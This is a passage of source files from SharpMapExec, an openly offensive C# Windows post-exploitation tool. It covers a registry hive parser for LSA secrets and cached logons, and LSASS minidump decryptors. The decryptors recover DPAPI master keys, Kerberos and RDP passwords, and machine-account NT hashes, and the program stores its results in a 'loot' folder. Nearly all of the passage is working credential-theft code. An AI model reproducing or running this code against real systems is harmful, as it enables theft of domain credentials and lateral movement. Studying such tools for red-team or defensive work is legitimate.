sb.AppendLine("[-] Unable to access to SECURITY dump file"); 50 | } 51 | 52 | if (machineMasterKeys != null || userMasterKeys != null) 53 | { 54 | List dpapikeys = new List(); 55 | foreach (string line in sb.ToString().Split(new string[] { Environment.NewLine }, StringSplitOptions.None).ToList()) 56 | { 57 | if (line.Contains("dpapi_machinekey:") || line.Contains("dpapi_userkey:")) 58 | { 59 | byte[] bytes = Helpers.Misc.HexToByteArray(line.Split(':').Last()); 60 | dpapikeys.Add(bytes); 61 | } 62 | } 63 | SharpDPAPI.SharpDPAPI.ParseDpapi(sb, dpapikeys, machineMasterKeys, userMasterKeys, credDirs, vaultDirs, certDirs); 64 | } 65 | Console.WriteLine(sb.ToString()); 66 | } 67 | } 68 | } -------------------------------------------------------------------------------- /SharpMapExec/Program.cs: -------------------------------------------------------------------------------- 1 | using SharpMapExec.args; 2 | using System; 3 | using System.IO; 4 | 5 | namespace SharpMapExec 6 | { 7 | internal class Program 8 | { 9 | // TOOD: 10 | // computer list 11 | // more ldap data 12 | // smb null scan 13 | // smb file scan 14 | 15 | private static void Main(string[] args) 16 | { 17 | if (!Directory.Exists("loot")) 18 | { 19 | Directory.CreateDirectory("loot"); 20 | } 21 | string commandName = ""; 22 | var parsed = ArgumentParser.Parse(args); 23 | if (parsed.ParsedOk == false) 24 | { 25 | Console.WriteLine("\r\n[!] bad parameters:\r\n"); 26 | Info.ShowUsage(); 27 | return; 28 | } 29 | if (args.Length != 0 && args[1].Contains("/")) 30 | { 31 | commandName = args[0]; 32 | } 33 | else if (args.Length != 0 && !(args[1].Contains("/"))) 34 | { 35 | commandName = args[0] + args[1]; 36 | } 37 | Console.WriteLine(commandName); 38 | try 39 | { 40 | var commandFound = new CommandCollection().ExecuteCommand(commandName.ToLower(), parsed.Arguments); 41 | if (commandFound == false) 42 | { 43 | Console.WriteLine("\r\n[!] bad command:\r\n"); 44 | Info.ShowUsage(); 45 | } 46 | } 47 | catch (Exception e) 48 | { 49 | Console.WriteLine("\r\n[!] Unhandled exception:\r\n"); 50 | Console.WriteLine(e); 51 | } 52 | } 53 | } 54 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/HiveParser/LsaSecret.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | 4 | namespace SharpMapExec.HiveParser 5 | { 6 | internal class LsaSecret 7 | { 8 | public LsaSecret(byte[] inputData) 9 | { 10 | version = inputData.Take(4).ToArray(); 11 | enc_key_id = inputData.Skip(4).Take(16).ToArray(); 12 | enc_algo = inputData.Skip(20).Take(4).ToArray(); 13 | flags = inputData.Skip(24).Take(4).ToArray(); 14 | data = inputData.Skip(28).ToArray(); 15 | } 16 | 17 | public byte[] version { get; set; } 18 | public byte[] enc_key_id { get; set; } 19 | public byte[] enc_algo { get; set; } 20 | public byte[] flags { get; set; } 21 | public byte[] data { get; set; } 22 | } 23 | 24 | internal class LsaSecretBlob 25 | { 26 | public LsaSecretBlob(byte[] inputData) 27 | { 28 | length = BitConverter.ToInt16(inputData.Take(4).ToArray(), 0); 29 | unk = inputData.Skip(4).Take(12).ToArray(); 30 | secret = inputData.Skip(16).Take(length).ToArray(); 31 | } 32 | 33 | public int length { get; set; } 34 | public byte[] unk { get; set; } 35 | public byte[] secret { get; set; } 36 | } 37 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/HiveParser/NL_Record.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | 4 | namespace SharpMapExec.HiveParser 5 | { 6 | internal class NL_Record 7 | { 8 | public NL_Record(byte[] inputData) 9 | { 10 | userLength = BitConverter.ToInt16(inputData.Take(2).ToArray(), 0); 11 | domainNameLength = BitConverter.ToInt16(inputData.Skip(2).Take(2).ToArray(), 0); 12 | dnsDomainLength = BitConverter.ToInt16(inputData.Skip(60).Take(2).ToArray(), 0); 13 | IV = inputData.Skip(64).Take(16).ToArray(); 14 | encryptedData = inputData.Skip(96).Take(inputData.Length - 96).ToArray(); 15 | } 16 | 17 | public int userLength { get; set; } 18 | public int domainNameLength { get; set; } 19 | public int dnsDomainLength { get; set; } 20 | public byte[] IV { get; set; } 21 | public byte[] encryptedData { get; set; } 22 | } 23 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/HiveParser/RegistryHive.cs: -------------------------------------------------------------------------------- 1 | //class from https://github.com/brandonprry/gray_hat_csharp_code/tree/master/ch14_reading_offline_hives 2 | //author @BrandonPrry 3 | using System; 4 | using System.IO; 5 | 6 | namespace SharpMapExec.HiveParser 7 | { 8 | public class RegistryHive 9 | { 10 | public static RegistryHive ImportHiveDump(string dumpfileName) 11 | { 12 | if (File.Exists(dumpfileName)) 13 | { 14 | using (FileStream stream = File.OpenRead(dumpfileName)) 15 | { 16 | using (BinaryReader reader = new BinaryReader(stream)) 17 | { 18 | reader.BaseStream.Position += 4132 - reader.BaseStream.Position; 19 | RegistryHive hive = new RegistryHive(reader); 20 | return hive; 21 | } 22 | } 23 | } 24 | else 25 | { 26 | Console.WriteLine("[-] Unable to access hive dump ", dumpfileName); 27 | return null; 28 | } 29 | } 30 | 31 | public RegistryHive(BinaryReader reader) 32 | { 33 | reader.BaseStream.Position += 4132 - reader.BaseStream.Position; 34 | this.RootKey = new NodeKey(reader); 35 | } 36 | 37 | public string Filepath { get; set; } 38 | public NodeKey RootKey { get; set; } 39 | public bool WasExported { get; set; } 40 | } 41 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/HiveParser/ValueKey.cs: -------------------------------------------------------------------------------- 1 | //class taken from https://github.com/brandonprry/gray_hat_csharp_code/tree/master/ch14_reading_offline_hives 2 | using System; 3 | using System.IO; 4 | 5 | namespace SharpMapExec.HiveParser 6 | { 7 | public class ValueKey 8 | { 9 | public ValueKey(BinaryReader hive) 10 | { 11 | byte[] buf = hive.ReadBytes(2); 12 | 13 | if (buf[0] != 0x76 && buf[1] != 0x6b) 14 | throw new NotSupportedException("Bad vk header"); 15 | 16 | this.NameLength = hive.ReadInt16(); 17 | this.DataLength = hive.ReadInt32(); 18 | 19 | byte[] databuf = hive.ReadBytes(4); 20 | 21 | this.ValueType = hive.ReadInt32(); 22 | hive.BaseStream.Position += 4; 23 | 24 | buf = hive.ReadBytes(this.NameLength); 25 | this.Name = (this.NameLength == 0) ? "Default" : System.Text.Encoding.UTF8.GetString(buf); 26 | 27 | if (this.DataLength < 5) 28 | this.Data = databuf; 29 | else 30 | { 31 | hive.BaseStream.Position = 4096 + BitConverter.ToInt32(databuf, 0) + 4; 32 | this.Data = hive.ReadBytes(this.DataLength); 33 | } 34 | } 35 | 36 | public short NameLength { get; set; } 37 | public int DataLength { get; set; } 38 | public int DataOffset { get; set; } 39 | public int ValueType { get; set; } 40 | public string Name { get; set; } 41 | public byte[] Data { get; set; } 42 | public string String { get; set; } 43 | } 44 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Decryptor/Dpapi_.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Crypto; 2 | using Minidump.Templates; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Runtime.InteropServices; 7 | using static Minidump.Helpers; 8 | 9 | namespace Minidump.Decryptor 10 | { 11 | public class Dpapi_ 12 | { 13 | public static int FindCredentials(Program.MiniDump minidump, dpapi.DpapiTemplate template) 14 | { 15 | foreach (string module in new List { "lsasrv.dll", "dpapisrv.dll" }) 16 | { 17 | long position = find_signature(minidump, module, template.signature); 18 | long llcurrent; 19 | if (position == 0) 20 | continue; 21 | 22 | var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); 23 | long ptr_entry = ReadInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); 24 | 25 | llcurrent = ptr_entry; 26 | do 27 | { 28 | byte[] entryBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, llcurrent), 29 | Marshal.SizeOf(typeof(dpapi.KIWI_MASTERKEY_CACHE_ENTRY))); 30 | 31 | dpapi.KIWI_MASTERKEY_CACHE_ENTRY dpapiEntry = ReadStruct(entryBytes); 32 | //PrintProperties(dpapiEntry); 33 | 34 | if (dpapiEntry.keySize > 1) 35 | { 36 | byte[] dec_masterkey = BCrypt.DecryptCredentials(dpapiEntry.key, minidump.lsakeys); 37 | Dpapi dpapi = new Dpapi(); 38 | //dpapi.luid = $"{dpapiEntry.LogonId.HighPart}:{dpapiEntry.LogonId.LowPart}"; 39 | dpapi.masterkey = BitConverter.ToString(dec_masterkey).Replace("-", ""); 40 | dpapi.insertTime = $"{ToDateTime(dpapiEntry.insertTime):yyyy-MM-dd HH:mm:ss}"; 41 | dpapi.key_size = dpapiEntry.keySize.ToString(); 42 | dpapi.key_guid = dpapiEntry.KeyUid.ToString(); 43 | dpapi.masterkey_sha = BCrypt.GetHashSHA1(dec_masterkey); 44 | 45 | Logon currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == dpapiEntry.LogonId.HighPart && x.LogonId.LowPart == dpapiEntry.LogonId.LowPart); 46 | if (currentlogon == null && !dpapi.insertTime.Contains("1601-01-01")) 47 | { 48 | currentlogon = new Logon(dpapiEntry.LogonId); 49 | currentlogon.Dpapi = new List(); 50 | currentlogon.Dpapi.Add(dpapi); 51 | minidump.logonlist.Add(currentlogon); 52 | } 53 | else 54 | { 55 | if (currentlogon.Dpapi == null) 56 | currentlogon.Dpapi = new List(); 57 | 58 | currentlogon.Dpapi.Add(dpapi); 59 | } 60 | } 61 | 62 | llcurrent = dpapiEntry.Flink; 63 | } while (llcurrent != ptr_entry); 64 | } 65 | 66 | return 0; 67 | } 68 | } 69 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Decryptor/KerberosSessions.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Templates; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Runtime.InteropServices; 5 | using static Minidump.Helpers; 6 | 7 | namespace Minidump.Decryptor 8 | { 9 | public class KerberosSessions 10 | { 11 | public static List FindSessions(Program.MiniDump minidump, kerberos.KerberosTemplate template) 12 | { 13 | var klogonlist = new List(); 14 | 15 | long position = find_signature(minidump, "kerberos.dll", template.signature); 16 | if (position == 0) 17 | { 18 | Console.WriteLine("[x] Error: Could not find KerberosSessionList signature\n"); 19 | return klogonlist; 20 | } 21 | var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); 22 | var ptr_entry = Minidump.Helpers.ReadUInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); 23 | //long kerbUnloadLogonSessionTableAddr = Rva2offset(minidump, (long)ptr_entry); 24 | //minidump.fileBinaryReader.BaseStream.Seek(kerbUnloadLogonSessionTableAddr, 0); 25 | 26 | //Console.WriteLine("Parsing kerberos sessions"); 27 | WalkAVLTables(minidump, (long)ptr_entry, klogonlist, template); 28 | 29 | return klogonlist; 30 | } 31 | 32 | private static void WalkAVLTables(Program.MiniDump minidump, long kerbUnloadLogonSessionTableAddr, List klogonlist, kerberos.KerberosTemplate template) 33 | { 34 | if (kerbUnloadLogonSessionTableAddr == 0) 35 | return; 36 | 37 | kerbUnloadLogonSessionTableAddr = Rva2offset(minidump, kerbUnloadLogonSessionTableAddr); 38 | minidump.fileBinaryReader.BaseStream.Seek(kerbUnloadLogonSessionTableAddr, 0); 39 | 40 | var entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(kerberos.RTL_AVL_TABLE))); 41 | var entry = ReadStruct(entryBytes); 42 | 43 | //Minidump.Helpers.PrintProperties(entry); 44 | 45 | if (entry.OrderedPointer != 0) 46 | { 47 | var item = new KerberosLogonItem(); 48 | long address = Rva2offset(minidump, entry.OrderedPointer); 49 | minidump.fileBinaryReader.BaseStream.Seek(address, 0); 50 | 51 | item.LogonSessionAddress = address; 52 | item.LogonSessionBytes = minidump.fileBinaryReader.ReadBytes(template.LogonSessionTypeSize); 53 | klogonlist.Add(item); 54 | //Minidump.Helpers.PrintProperties(item); 55 | } 56 | 57 | if (entry.BalancedRoot.RightChild != 0) 58 | WalkAVLTables(minidump, entry.BalancedRoot.RightChild, klogonlist, template); 59 | if (entry.BalancedRoot.LeftChild != 0) 60 | WalkAVLTables(minidump, entry.BalancedRoot.LeftChild, klogonlist, template); 61 | } 62 | 63 | public class KerberosLogonItem 64 | { 65 | public long LogonSessionAddress { get; set; } 66 | public byte[] LogonSessionBytes { get; set; } 67 | } 68 | } 69 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Decryptor/Kerberos_.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Crypto; 2 | using Minidump.Templates; 3 | using System; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Cryptography; 7 | using System.Text; 8 | using static Minidump.Helpers; 9 | 10 | namespace Minidump.Decryptor 11 | { 12 | internal class Kerberos_ 13 | { 14 | public static void FindCredentials(Program.MiniDump minidump, kerberos.KerberosTemplate template) 15 | { 16 | foreach (KerberosSessions.KerberosLogonItem entry in minidump.klogonlist) 17 | { 18 | if (entry == null) 19 | continue; 20 | 21 | var luid = ReadStruct(GetBytes(entry.LogonSessionBytes, 72, Marshal.SizeOf(typeof(LUID)))); 22 | 23 | var usUserName = ReadStruct(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionUserNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); 24 | var usDomain = ReadStruct(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionDomainOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); 25 | var usPassword = ReadStruct(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionPasswordOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); 26 | 27 | var username = ExtractUnicodeStringString(minidump, usUserName); 28 | var domain = ExtractUnicodeStringString(minidump, usDomain); 29 | 30 | minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, usPassword.Buffer), 0); 31 | byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(usPassword.MaximumLength); 32 | 33 | var msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); 34 | 35 | var passDecrypted = ""; 36 | var encoder = new UnicodeEncoding(false, false, true); 37 | try 38 | { 39 | passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); 40 | } 41 | catch (Exception) 42 | { 43 | passDecrypted = PrintHexBytes(msvDecryptedPasswordBytes); 44 | } 45 | //passDecrypted = Convert.ToBase64String(msvDecryptedPasswordBytes); 46 | 47 | if (!string.IsNullOrEmpty(username) && username.Length > 1) 48 | { 49 | if (msvDecryptedPasswordBytes.Length <= 1) 50 | continue; 51 | 52 | var krbrentry = new Kerberos(); 53 | krbrentry.UserName = username; 54 | 55 | if (krbrentry.UserName.Contains("$")) 56 | { 57 | try 58 | { 59 | krbrentry.NT = msvDecryptedPasswordBytes.MD4().AsHexString(); 60 | } 61 | catch 62 | { 63 | krbrentry.NT = "NULL"; 64 | } 65 | } 66 | 67 | if (!string.IsNullOrEmpty(domain)) 68 | krbrentry.DomainName = domain; 69 | else 70 | krbrentry.DomainName = "NULL"; 71 | 72 | if (!string.IsNullOrEmpty(passDecrypted)) 73 | krbrentry.Password = passDecrypted; 74 | else 75 | krbrentry.Password = "NULL"; 76 | 77 | var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); 78 | if (currentlogon == null) 79 | { 80 | currentlogon = new Logon(luid); 81 | currentlogon.UserName = username; 82 | currentlogon.Kerberos = krbrentry; 83 | minidump.logonlist.Add(currentlogon); 84 | } 85 | else 86 | { 87 | currentlogon.Kerberos = krbrentry; 88 | } 89 | } 90 | } 91 | } 92 | } 93 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Decryptor/Rdp_.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Streams; 2 | using Minidump.Templates; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Runtime.InteropServices; 7 | using System.Text; 8 | using static Minidump.Helpers; 9 | 10 | namespace Minidump.Decryptor 11 | { 12 | public class Rdp_ 13 | { 14 | public static int FindCredentials(Program.MiniDump minidump, rdp.RdpTemplate template) 15 | { 16 | foreach (byte[] signature in template.signature) 17 | { 18 | rdp.WTS_KIWI cred = new rdp.WTS_KIWI(); 19 | 20 | List positions = find_all_global(minidump.fileBinaryReader, signature); 21 | foreach (long pos in positions) 22 | { 23 | if (pos <= 0) 24 | continue; 25 | 26 | minidump.fileBinaryReader.BaseStream.Seek(pos + template.first_entry_offset, 0); 27 | try 28 | { 29 | byte[] credBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(rdp.WTS_KIWI))); 30 | cred = ReadStruct(credBytes); 31 | } 32 | catch 33 | { 34 | continue; 35 | } 36 | 37 | if (cred.cbDomain <= 512 && cred.cbUsername <= 512 && cred.cbPassword <= 512 && cred.cbPassword > 0) 38 | { 39 | try 40 | { 41 | string domain = Encoding.ASCII.GetString(cred.Domain.Take(cred.cbDomain).ToArray()); 42 | string username = Encoding.ASCII.GetString(cred.UserName.Take(cred.cbUsername).ToArray()); 43 | byte[] password_raw = cred.Password.Take(cred.cbPassword).ToArray(); 44 | 45 | if (string.IsNullOrEmpty(domain) || string.IsNullOrEmpty(username)) 46 | continue; 47 | 48 | //credentials are encrypted 49 | if (minidump.sysinfo.BuildNumber >= (int)SystemInfo.WindowsMinBuild.WIN_10) 50 | continue; 51 | 52 | Console.WriteLine(username); 53 | Console.WriteLine(domain); 54 | Console.WriteLine(PrintHexBytes(password_raw)); 55 | 56 | PrintProperties(cred); 57 | } 58 | catch { } 59 | } 60 | } 61 | } 62 | 63 | return 0; 64 | } 65 | } 66 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Decryptor/lsadecryptor_lsa_decryptor.cs: -------------------------------------------------------------------------------- 1 | using Minidump.Templates; 2 | using System; 3 | 4 | namespace Minidump.Decryptor 5 | { 6 | public class LsaDecryptor 7 | { 8 | public struct LsaKeys 9 | { 10 | public byte[] iv; 11 | public byte[] aes_key; 12 | public byte[] des_key; 13 | } 14 | 15 | public static LsaKeys choose(Program.MiniDump minidump, object template) 16 | { 17 | if (template.GetType() == typeof(lsaTemplate_NT6.LsaTemplate_NT6)) 18 | { 19 | return LsaDecryptor_NT6.LsaDecryptor(minidump, (lsaTemplate_NT6.LsaTemplate_NT6)template); 20 | } 21 | else 22 | { 23 | throw new Exception($"NT5 not yet supported"); 24 | } 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Streams/Directory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | namespace Minidump.Streams 5 | { 6 | public class Directory 7 | { 8 | public struct MINIDUMP_DIRECTORY 9 | { 10 | public MINIDUMP_STREAM_TYPE StreamType; 11 | public uint Size; 12 | public uint Offset; 13 | } 14 | 15 | [Flags] 16 | public enum MINIDUMP_STREAM_TYPE 17 | { 18 | UnusedStream = 0, 19 | ReservedStream0 = 1, 20 | ReservedStream1 = 2, 21 | ThreadListStream = 3, 22 | ModuleListStream = 4, 23 | MemoryListStream = 5, 24 | ExceptionStream = 6, 25 | SystemInfoStream = 7, 26 | ThreadExListStream = 8, 27 | Memory64ListStream = 9, 28 | CommentStreamA = 10, 29 | CommentStreamW = 11, 30 | HandleDataStream = 12, 31 | FunctionTableStream = 13, 32 | UnloadedModuleListStream = 14, 33 | MiscInfoStream = 15, 34 | MemoryInfoListStream = 16, 35 | ThreadInfoListStream = 17, 36 | HandleOperationListStream = 18, 37 | TokenStream = 19, 38 | JavaScriptDataStream = 20, 39 | SystemMemoryInfoStream = 21, 40 | ProcessVmCountersStream = 22, 41 | ThreadNamesStream = 24, 42 | ceStreamNull = 25, 43 | ceStreamSystemInfo = 26, 44 | ceStreamException = 27, 45 | ceStreamModuleList = 28, 46 | ceStreamProcessList = 29, 47 | ceStreamThreadList = 30, 48 | ceStreamThreadContextList = 31, 49 | ceStreamThreadCallStackList = 32, 50 | ceStreamMemoryVirtualList = 33, 51 | ceStreamMemoryPhysicalList = 34, 52 | ceStreamBucketParameters = 35, 53 | ceStreamProcessModuleMap = 36, 54 | ceStreamDiagnosisList = 37, 55 | LastReservedStream = 0xffff, 56 | } 57 | 58 | public static List ParseDirectory(Program.MiniDump minidump) 59 | { 60 | List directories = new List(); 61 | 62 | for (int i = 0; i < (int)minidump.header.NumberOfStreams; i++) 63 | { 64 | minidump.fileBinaryReader.BaseStream.Seek(minidump.header.StreamDirectoryRva + i * 12, 0); 65 | UInt32 raw_stream_type_value = Helpers.ReadUInt32(minidump.fileBinaryReader); 66 | bool is_user_stream = (int)raw_stream_type_value > (int)MINIDUMP_STREAM_TYPE.LastReservedStream; 67 | bool is_stream_supported = Enum.IsDefined(typeof(MINIDUMP_STREAM_TYPE), (int)raw_stream_type_value); 68 | if (is_user_stream && !is_stream_supported) 69 | { 70 | continue; 71 | } 72 | 73 | MINIDUMP_DIRECTORY md = new MINIDUMP_DIRECTORY(); 74 | md.StreamType = (MINIDUMP_STREAM_TYPE)Enum.Parse(typeof(MINIDUMP_STREAM_TYPE), 75 | Enum.GetName(typeof(MINIDUMP_STREAM_TYPE), (int)raw_stream_type_value)); // Enum.GetName(typeof(MINIDUMP_STREAM_TYPE), (int)raw_stream_type_value); 76 | md.Size = Helpers.ReadUInt32(minidump.fileBinaryReader); 77 | md.Offset = Helpers.ReadUInt32(minidump.fileBinaryReader); 78 | directories.Add(md); 79 | } 80 | 81 | return directories; 82 | } 83 | } 84 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Streams/Header.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Minidump.Streams 4 | { 5 | public class Header 6 | { 7 | public struct MinidumpHeader 8 | { 9 | public String Signature; 10 | public UInt16 Version; 11 | public UInt16 ImplementationVersion; 12 | public UInt32 NumberOfStreams; 13 | public UInt32 StreamDirectoryRva; 14 | public UInt32 CheckSum; 15 | public UInt32 Reserved; 16 | public UInt32 TimeDateStamp; 17 | public string Flags; 18 | } 19 | 20 | [Flags] 21 | public enum MINIDUMP_TYPE 22 | { 23 | MiniDumpNormal = 0x00000000, 24 | MiniDumpWithDataSegs = 0x00000001, 25 | MiniDumpWithFullMemory = 0x00000002, 26 | MiniDumpWithHandleData = 0x00000004, 27 | MiniDumpFilterMemory = 0x00000008, 28 | MiniDumpScanMemory = 0x00000010, 29 | MiniDumpWithUnloadedModules = 0x00000020, 30 | MiniDumpWithIndirectlyReferencedMemory = 0x00000040, 31 | MiniDumpFilterModulePaths = 0x00000080, 32 | MiniDumpWithProcessThreadData = 0x00000100, 33 | MiniDumpWithPrivateReadWriteMemory = 0x00000200, 34 | MiniDumpWithoutOptionalData = 0x00000400, 35 | MiniDumpWithFullMemoryInfo = 0x00000800, 36 | MiniDumpWithThreadInfo = 0x00001000, 37 | MiniDumpWithCodeSegs = 0x00002000, 38 | MiniDumpWithoutAuxiliaryState = 0x00004000, 39 | MiniDumpWithFullAuxiliaryState = 0x00008000, 40 | MiniDumpWithPrivateWriteCopyMemory = 0x00010000, 41 | MiniDumpIgnoreInaccessibleMemory = 0x00020000, 42 | MiniDumpWithTokenInformation = 0x00040000, 43 | MiniDumpWithModuleHeaders = 0x00080000, 44 | MiniDumpFilterTriage = 0x00100000, 45 | MiniDumpValidTypeFlags = 0x001fffff 46 | } 47 | 48 | public static MinidumpHeader ParseHeader(Program.MiniDump minidump) 49 | { 50 | MinidumpHeader Header = new MinidumpHeader(); 51 | Header.Signature = Helpers.ReadString(minidump.fileBinaryReader, 4); 52 | Header.Version = Helpers.ReadUInt16(minidump.fileBinaryReader); 53 | Header.ImplementationVersion = Helpers.ReadUInt16(minidump.fileBinaryReader); 54 | Header.NumberOfStreams = Helpers.ReadUInt32(minidump.fileBinaryReader); 55 | Header.StreamDirectoryRva = Helpers.ReadUInt32(minidump.fileBinaryReader); 56 | Header.CheckSum = Helpers.ReadUInt32(minidump.fileBinaryReader); 57 | Header.Reserved = Helpers.ReadUInt32(minidump.fileBinaryReader); 58 | Header.TimeDateStamp = Helpers.ReadUInt32(minidump.fileBinaryReader); 59 | //Header.Flags = Helpers.ReadUInt32(fileBinaryReader); 60 | Header.Flags = Enum.GetName(typeof(MINIDUMP_TYPE), Helpers.ReadUInt32(minidump.fileBinaryReader)); 61 | 62 | return Header; 63 | } 64 | } 65 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Streams/Memory64ListStream.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.IO; 3 | using System.Linq; 4 | 5 | namespace Minidump.Streams 6 | { 7 | public class MINIDUMP_MEMORY64 8 | { 9 | public struct MINIDUMP_MEMORY64_LIST 10 | { 11 | public long NumberOfMemoryRanges; 12 | public long BaseRva; 13 | public List MemoryRanges; 14 | } 15 | 16 | public static MINIDUMP_MEMORY64_LIST parse_mml(BinaryReader fileBinaryReader) 17 | { 18 | MINIDUMP_MEMORY64_LIST mml = new MINIDUMP_MEMORY64_LIST(); 19 | mml.NumberOfMemoryRanges = Helpers.ReadInt64(fileBinaryReader); 20 | mml.BaseRva = Helpers.ReadInt64(fileBinaryReader); 21 | List list = new List(); 22 | foreach (var _ in Enumerable.Range(0, (int)mml.NumberOfMemoryRanges)) 23 | { 24 | list.Add(parse_mmd(fileBinaryReader)); 25 | } 26 | 27 | mml.MemoryRanges = list; 28 | return mml; 29 | } 30 | 31 | public struct MINIDUMP_MEMORY_DESCRIPTOR64 32 | { 33 | public long StartOfMemoryRange; 34 | public long DataSize; 35 | } 36 | 37 | public static MINIDUMP_MEMORY_DESCRIPTOR64 parse_mmd(BinaryReader fileBinaryReader) 38 | { 39 | MINIDUMP_MEMORY_DESCRIPTOR64 md = new MINIDUMP_MEMORY_DESCRIPTOR64(); 40 | md.StartOfMemoryRange = Helpers.ReadInt64(fileBinaryReader); 41 | md.DataSize = Helpers.ReadInt64(fileBinaryReader); 42 | return md; 43 | } 44 | 45 | public struct MinidumpMemory64List 46 | { 47 | public List memory_segments; 48 | } 49 | 50 | public static MinidumpMemory64List parse(Directory.MINIDUMP_DIRECTORY dir, Program.MiniDump minidump) 51 | { 52 | List list = new List(); 53 | MinidumpMemory64List mmlist = new MinidumpMemory64List(); 54 | 55 | minidump.fileBinaryReader.BaseStream.Seek(dir.Offset, 0); 56 | byte[] chunk = minidump.fileBinaryReader.ReadBytes((int)dir.Size); 57 | 58 | using (BinaryReader ChunkReader = new BinaryReader(new MemoryStream(chunk))) 59 | { 60 | var mtl = parse_mml(ChunkReader); 61 | var rva = mtl.BaseRva; 62 | foreach (MINIDUMP_MEMORY_DESCRIPTOR64 mod in mtl.MemoryRanges) 63 | { 64 | list.Add(MinidumpMemory.parse_full(mod, rva)); 65 | rva += mod.DataSize; 66 | } 67 | } 68 | 69 | mmlist.memory_segments = list; 70 | return mmlist; 71 | } 72 | } 73 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/MiniDump/Streams/Memory86ListStream.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | 6 | namespace Minidump.Streams 7 | { 8 | public class MINIDUMP_MEMORY86 9 | { 10 | public struct MINIDUMP_MEMORY_LIST 11 | { 12 | public UInt32 NumberOfMemoryRanges; 13 | public List MemoryRanges; 14 | } 15 | 16 | public static MINIDUMP_MEMORY_LIST parse_mml(BinaryReader fileBinaryReader) 17 | { 18 | var mml = new MINIDUMP_MEMORY_LIST(); 19 | mml.NumberOfMemoryRanges = Helpers.ReadUInt32(fileBinaryReader); 20 | foreach (var _ in Enumerable.Range(0, (int)mml.NumberOfMemoryRanges)) 21 | { 22 | mml.MemoryRanges.Add(parse_mmd(fileBinaryReader)); 23 | } 24 | return mml; 25 | } 26 | 27 | public struct MINIDUMP_MEMORY_DESCRIPTORx86 28 | { 29 | public UInt64 StartOfMemoryRange; 30 | public UInt32 MemoryLocation; 31 | 32 | //we do not use MemoryLocation but immediately store its fields in this object for easy access 33 | public UInt32 DataSize; 34 | 35 | public UInt32 Rva; 36 | } 37 | 38 | public static MINIDUMP_MEMORY_DESCRIPTORx86 parse_mmd(BinaryReader fileBinaryReader) 39 | { 40 | var md = new MINIDUMP_MEMORY_DESCRIPTORx86(); 41 | md.StartOfMemoryRange = Helpers.ReadUInt64(fileBinaryReader); 42 | //MemoryLocation = parse_mld(fileBinaryReader); 43 | //md.DataSize = md.MemoryLocation.DataSize; 44 | //md.Rva = md.MemoryLocation.Rva; 45 | return md; 46 | } 47 | 48 | public struct MinidumpMemory86List 49 | { 50 | public List memory_segments; 51 | } 52 | 53 | public static MinidumpMemory86List parse(Directory.MINIDUMP_DIRECTORY dir, Program.MiniDump minidump) 54 | { 55 | List list = new List(); 56 | MinidumpMemory86List mmlist = new MinidumpMemory86List(); 57 | 58 | minidump.fileBinaryReader.BaseStream.Seek(dir.Offset, 0); 59 | byte[] chunk = minidump.fileBinaryReader.ReadBytes((int)dir.Size); 60 | 61 | using (BinaryReader ChunkReader = new BinaryReader(new MemoryStream(chunk))) 62 | { 63 | var mtl = parse_mml(ChunkReader); 64 | foreach (MINIDUMP_MEMORY_DESCRIPTORx86 mod in mtl.MemoryRanges) 65 | { 66 | //list.Add(parse_mini(mod, fileBinaryReader)); 67 | } 68 | } 69 | 70 | mmlist.memory_segments = list; 71 | return mmlist; 72 | } 73 | } 74 | } -------------------------------------------------------------------------------- 